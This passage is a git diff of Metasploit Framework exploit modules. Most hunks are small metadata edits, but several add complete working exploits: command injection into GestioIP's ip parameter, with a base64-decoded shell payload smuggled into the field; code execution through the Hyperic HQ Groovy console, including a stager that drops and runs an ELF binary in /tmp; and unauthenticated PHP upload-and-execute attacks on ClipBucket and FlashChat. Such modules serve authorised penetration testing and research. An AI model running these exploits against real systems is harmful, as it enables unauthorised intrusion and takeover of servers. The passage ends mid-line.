a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Neal Poole', # Vulnerability discovery - 'joev ' # Metasploit module + 'joev' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb new file mode 100644 index 0000000000..0dd83227ad --- /dev/null +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -0,0 +1,95 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GestioIP Remote Command Execution', + 'Description' => %q{ + This module exploits a command injection flaw to create a shell script + on the filesystem and execute it. If GestioIP is configured to use no authentication, + no password is required to exploit the vulnerability. Otherwise, an authenticated + user is required to exploit. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry' #Initial Discovery and metasploit module + ], + 'References' => + [ + [ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch + [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/03/gestioip-authenticated-remote-command-execution-module' ] + ], + 'Payload' => + { + 'Space' => 475, # not a lot of room + 'DisableNops' => true, + 'BadChars' => "", + }, + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic GestioIP 3.0', { }]], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 4 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'URI', '/gestioip/']), + OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), + OptString.new('PASSWORD', [false, 'The password to auth with', nil]) + ], self.class) + end + + def user + datastore['USERNAME'] + end + + def pass + datastore['PASSWORD'] + end + + def use_auth + !(pass.nil? or pass.empty?) + end + + def exploit + + pay = Rex::Text.encode_base64(payload.encoded) + file = Rex::Text.rand_text_alpha(8) + + options = { + 'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"), + 'encode_params' => false, + 'vars_get' => { + 'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004", + 'hostname' => "fds", + 'client_id' => "1", + 'ip_version' => "" + } + } + + if use_auth + options.merge!('authorization' => basic_auth(user,pass)) + end + + res = send_request_cgi(options) + + if res and res.code == 401 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD") + end + + end +end diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index cf601dbc20..a3defc152b 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'SSL' => true }, + 'Platform' => %w{ linux win }, 'Targets' => [ ['Linux', { @@ -70,12 +71,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - def check @cookie = '' diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb new file mode 100644 index 0000000000..8b63b06ad5 --- /dev/null +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -0,0 +1,291 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMware Hyperic HQ Groovy Script-Console Java Execution', + 'Description' => %q{ + This module uses the VMware Hyperic HQ Groovy script console to execute + OS commands using Java. Valid credentials for an application administrator + user account are required. This module has been tested successfully with + Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems. + }, + 'Author' => + [ + 'Brendan Coles ' # Metasploit + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'WfsDelay' => '15', + }, + 'References' => + [ + ['URL', 'https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html'] + ], + 'Targets' => + [ + # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04 + ['Automatic', {} ], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] + ], + 'Platform' => %w{ win linux unix }, + 'Privileged' => false, # Privileged on Windows but not on *nix targets + 'DisclosureDate' => 'Oct 10 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [true, 'Use SSL', true]), + Opt::RPORT(7443), + OptString.new('USERNAME', [ true, 'The username for the application', 'hqadmin' ]), + OptString.new('PASSWORD', [ true, 'The password for the application', 'hqadmin' ]), + OptString.new('TARGETURI', [ true, 'The path to HypericHQ', '/' ]), + ], self.class) + end + + # + # Login + # + def login(user, pass) + @cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}" + + res = send_request_cgi({ + 'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="), + 'method' => 'POST', + 'cookie' => @cookie, + 'vars_post' => { + 'j_username' => Rex::Text.uri_encode(user, 'hex-normal'), + 'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'), + 'submit' => 'Sign+in' + } + }) + + res + end + + # + # Check access to the Groovy script console and get CSRF nonce + # + def get_nonce + res = send_request_cgi({ + 'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"), + 'cookie' => @cookie + }) + + if not res or res.code != 200 + print_warning("#{peer} - Could not access the script console") + end + + if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/ + @nonce = $1 + vprint_status("#{peer} - Found token '#{@nonce}'") + end + end + + # + # Check credentials and check for access to the Groovy console + # + def check + + @uri = target_uri + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + # login + print_status("#{peer} - Authenticating as '#{user}'") + res = login(user, pass) + if res and res.code == 302 and res.headers['location'] !~ /authfailed/ + print_good("#{peer} - Authenticated successfully as '#{user}'") + # check access to the console + print_status("#{peer} - Checking access to the script console") + get_nonce + if @nonce.nil? + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Vulnerable + end + elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/ + print_error("#{peer} - Authentication failed") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + + end + + def on_new_session(client) + if not @to_delete.nil? + print_warning("#{peer} - Deleting #{@to_delete} payload file") + execute_command("rm #{@to_delete}") + end + end + + def http_send_command(java) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce, + 'cookie' => @cookie, + 'vars_post' => { + 'code' => java # java_craft_runtime_exec(cmd) + } + }) + if res and res.code == 200 and res.body =~ /Executed/ + vprint_good("#{peer} - Command executed successfully") + else + fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to execute the command.") + end + # version 4.6.6 returns a new CSRF nonce in the response + if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/ + @nonce = $1 + vprint_status("#{peer} - Found token '#{@nonce}'") + # version 4.5.2 does not, so we request a new one + else + get_nonce + end + + return res + end + + # Stolen from jenkins_script_console.rb + def java_craft_runtime_exec(cmd) + decoder = Rex::Text.rand_text_alpha(5, 8) + decoded_bytes = Rex::Text.rand_text_alpha(5, 8) + cmd_array = Rex::Text.rand_text_alpha(5, 8) + jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + + jcode << "String [] #{cmd_array} = new String[3];\n" + if @my_target['Platform'] == 'win' + jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" + jcode << "#{cmd_array}[1] = \"/c\";\n" + else + jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" + jcode << "#{cmd_array}[1] = \"-c\";\n" + end + jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jcode << "Runtime.getRuntime().exec(#{cmd_array});" + jcode + end + + def java_get_os + jcode = "System.getProperty(\"os.name\").toLowerCase();" + + return jcode + end + + def execute_command(cmd, opts = {}) + vprint_status("#{peer} - Attempting to execute: #{cmd}") + http_send_command(java_craft_runtime_exec(cmd)) + end + + # Stolen from jenkins_script_console.rb + def linux_stager + cmds = "echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(6+rand(4)) + + execute_command("touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + + execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("chmod +x /tmp/#{file}") + execute_command("rm /tmp/#{file}.b64") + + execute_command("/tmp/#{file}") + @to_delete = "/tmp/#{file}" + end + + def get_target + res = http_send_command(java_get_os) + + if res and res.code == 200 and res.body =~ /"result":"(.*)","timeStatus/ + os = $1 + else + return nil + end + + case os + when /win/ + return targets[1] + when /linux/ + return targets[2] + when /nix/ + when /mac/ + when /aix/ + when /sunow/ + return targets[3] + else + return nil + end + + end + + + def exploit + + # login + @uri = target_uri + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + res = login(user, pass) + if res and res.code == 302 and res.headers['location'] !~ /authfailed/ + print_good("#{peer} - Authenticated successfully as '#{user}'") + else + fail_with(Exploit::Failure::NoAccess, "#{peer} - Authentication failed") + end + + # check access to the console and get CSRF nonce + print_status("#{peer} - Checking access to the script console") + get_nonce + + # check operating system + if target.name =~ /Automatic/ + print_status("#{peer} - Trying to detect the remote target...") + @my_target = get_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to detect the remote target") + else + print_good("#{peer} - #{@my_target.name} target found") + end + else + @my_target = target + end + + # send payload + case @my_target['Platform'] + when 'win' + print_status("#{peer} - Sending VBS stager...") + execute_cmdstager({:linemax => 2049}) + when 'unix' + print_status("#{peer} - Sending UNIX payload...") + http_send_command(java_craft_runtime_exec(payload.encoded)) + when 'linux' + print_status("#{rhost}:#{rport} - Sending Linux stager...") + linux_stager + end + + end +end diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 151fd1a05c..18586f0e4a 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], + 'Platform' => %w{ win linux unix }, 'Targets' => [ ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index 91270597fc..e7102583ac 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -10,6 +10,11 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + # handle module misnomer + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 12, 7), 'exploit/linux/http/linksys_wrt110_cmd_exec' + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerEcho @@ -23,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Craig Young', # Vulnerability discovery - 'joev ', # msf module + 'joev', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 7b21059133..e20321aeb9 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -79,10 +79,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def lookup_lhost() # Get the source address if datastore['SRVHOST'] == '0.0.0.0' diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index af89efb307..750481a0f9 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '89105' ], [ 'EDB', '23522' ] ], + 'Platform' => %w{ win unix }, 'Targets' => [ [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ], diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index 4d73de0a46..93caf79f24 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Badchars' => '', 'DisableNops' => true }, + 'Platform' => %w{ linux unix win }, 'Targets' => [ [ diff --git a/modules/exploits/multi/http/splunk_upload_app_exec.rb b/modules/exploits/multi/http/splunk_upload_app_exec.rb index 5cba7b1377..2df71a916f 100644 --- a/modules/exploits/multi/http/splunk_upload_app_exec.rb +++ b/modules/exploits/multi/http/splunk_upload_app_exec.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'DisableNops' => true }, + 'Platform' => %w{ linux unix win }, 'Targets' => [ [ 'Splunk 5.0.1 / Linux', diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index b6faddb377..82c72d112c 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'DisableNops' => true, }, + 'Platform' => %w{ win linux }, 'Targets' => [ [ diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index 2c46c6feeb..45c5d3b415 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'DisableNops' => true, }, + 'Platform' => %w{ linux osx win }, 'Targets' => [ [ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)', diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index a4d5ad6264..0d1a8e6c26 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -63,6 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, }, 'DefaultTarget' => 4, + 'Platform' => %w{ linux osx win }, 'Targets' => [ [ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)', diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index 5b534c7243..d4d17f7c40 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -51,6 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'Space' => 1024, }, + 'Platform' => %w{ linux }, 'Targets' => [ diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index b4267b717a..247010d8b1 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 2000, 'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d" }, + 'Platform' => %w{ bsd linux win }, 'Targets' => [ [ diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index 224a7b112c..4a89966548 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', }, + 'Platform' => %w{ win linux }, 'Targets' => [ [ 'Windows XPe x86',{'Platform' => 'win',}], diff --git a/modules/exploits/osx/afp/loginext.rb b/modules/exploits/osx/afp/loginext.rb index e46b40d269..968d2cf8ec 100644 --- a/modules/exploits/osx/afp/loginext.rb +++ b/modules/exploits/osx/afp/loginext.rb @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "+find" } }, + 'Platform' => %w{ osx }, 'Targets' => [ # Target 0 diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 3a9d99c680..da5a189826 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => '-find', }, }, + 'Platform' => %w{ osx }, 'Targets' => [ [ diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 4b9dfa2ec0..00beadb73a 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RequiredCmd' => 'generic perl ruby telnet', } }, + 'Platform' => %w{ unix }, 'Targets' => [ # Target 0: Automatic diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index fc532137d2..0a1822ccc8 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => '-bind -find', }, }, - + 'Platform' => %w{ unix osx }, 'Targets' => [ [ 'Mail.app - Command Payloads', diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index 5f5fc211fd..f13c077c9e 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ConnectionType' => "+find" }, }, + 'Platform' => %w{ osx }, 'Targets' => [ [ diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 1d4ca68e74..f359738976 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Local 'Author' => [ 'Todd C. Miller', # Vulnerability discovery - 'joev ', # Metasploit module + 'joev', # Metasploit module 'juan vazquez' # testing/fixing module bugs ], 'References' => diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 1a3e0771a0..2d6fecf58f 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -56,10 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote return target_uri.path end - def peer - return "#{rhost}:#{rport}" - end - def check # Check version print_status("#{peer} - Trying to detect installed version") @@ -134,6 +130,6 @@ class Metasploit3 < Msf::Exploit::Remote print_error("#{peer} - Unexpected response, probably the exploit failed") end - end + end end diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb new file mode 100644 index 0000000000..ee3aec9ed7 --- /dev/null +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -0,0 +1,118 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ClipBucket Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in ClipBucket version 2.6 and lower. + The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to + upload arbitrary code without any authentication. This module has been tested + on version 2.6 on CentOS 5.9 32-bit. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gabby', # Vulnerability Discovery, PoC + 'xistence ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://packetstormsecurity.com/files/123480/ClipBucket-Remote-Code-Execution.html' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Clipbucket 2.6', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 04 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/']) + ], self.class) + end + + def uri + return target_uri.path + end + + def check + # Check version + peer = "#{rhost}:#{rport}" + + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "") + }) + + if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "2.6" + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php" + + print_status("#{peer} - Uploading payload [ #{payload_name} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"), + 'headers' => { 'Content-Type' => 'text/plain' }, + 'vars_get' => { 'name' => payload_name }, + 'data' => payload.encoded + }) + + # If the server returns 200 we assume we uploaded the malicious + # file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/ + fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") + end + + register_files_for_cleanup(payload_name) + + print_status("#{peer} - Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" ) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name) + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res and res.code != 200 + print_error("#{peer} - Unexpected response, probably the exploit failed") + end + + end + +end \ No newline at end of file diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb new file mode 100644 index 0000000000..2530c180c9 --- /dev/null +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -0,0 +1,147 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "FlashChat Arbitrary File Upload", + 'Description' => %q{ + This module exploits a file upload vulnerability found in FlashChat + versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload + feature in order to upload malicious PHP files without authentication + which results in arbitrary remote code execution as the web server user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'x-hayben21', # Discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['OSVDB', '98233'], + ['EDB', '28709'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested on FlashChat version 6.0.8 + [ 'Generic (PHP Payload)', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 04 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/']) + ], self.class) + end + + # + # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8 + # + def check + uri = normalize_uri(target_uri.path, '') + res = send_request_raw({'uri' => uri}) + + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + end + + version = res.body.scan(/FlashChat v([\d\.]+)/).flatten[0] || '' + + if version.empty? + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version found: #{version}") + + if version =~ /6\.0\.(2|4|5|6|7|8)/ + return Exploit::CheckCode::Vulnerable + elsif version <= "6.0.8" + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + + end + + + # + # Uploads our malicious file + # Stolen from havalite_upload_exec.rb + # + def upload(base) + fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" + php = "<?php #{payload.encoded} ?>" + data = Rex::MIME::Message.new + data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") + post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(base, 'upload.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }) + + if not res + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") + elsif res.code.to_i == 404 + fail_with(Failure::NotFound, "#{peer} - No upload.php found") + elsif res.code.to_i == 500 + fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") + end + + return fname + end + + + # + # Executes our uploaded malicious file + # Stolen from havalite_upload_exec.rb + # + def exec(base, payload_fname) + res = send_request_raw({ + 'uri' => normalize_uri(base, 'temp', payload_fname) + }) + + if res and res.code == 404 + fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") + end + end + + def exploit + base = target_uri.path + + # upload + print_status("#{peer} - Uploading malicious file...") + fname = upload(base) + + # register the file to clean + register_files_for_cleanup(fname) + + # exec + print_status("#{peer} - Executing #{fname}...") + exec(base, fname) + end +end diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 0dd186995c..17f5056174 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -53,12 +53,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - def peer - "#{rhost}:#{rport}" - end - - # # Checks if target is running HavaLite CMS 1.1.7 # We only flag 1.1.7 as vulnerable, because we don't have enough information from diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index ef9d524fb2..68878aeadc 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -33,11 +33,13 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + [ 'CVE', '2013-5576' ], [ 'OSVDB', '95933' ], [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ], [ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ], - [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ] + [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ], + [ 'URL', 